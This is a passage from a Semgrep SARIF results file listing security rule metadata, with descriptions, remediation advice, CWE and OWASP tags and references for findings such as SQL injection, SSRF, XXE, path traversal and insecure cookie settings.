can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf","id":"javascript.express.needle.ssrf.ssrf","name":"javascript.express.needle.ssrf.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.needle.ssrf.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n - [https://ractive.js.org/v0.x/0.7/mustaches#variables](https://ractive.js.org/v0.x/0.7/mustaches#variables)\n","text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","id":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","name":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","id":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","name":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","id":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","name":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"help":{"markdown":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n","text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","id":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","name":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","properties":{"precision":"very-high","tags":["CWE-451: User Interface (UI) Misrepresentation of Critical Information","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection","id":"cpp.lang.security.sql.sql-injection.sql-injection","name":"cpp.lang.security.sql.sql-injection.sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.sql.sql-injection.sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","id":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","name":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"help":{"markdown":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n","text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","id":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","name":"typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2."},"help":{"markdown":"The EC2 launch template has Instance Metadata Service Version 1 (IMDSv1) enabled. IMDSv2 introduced session authentication tokens which improve security when talking to IMDS. You should either disable IMDS or require the use of IMDSv2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-launch-template-metadata-service-v1-enabled.aws-ec2-launch-template-metadata-service-v1-enabled)\n - 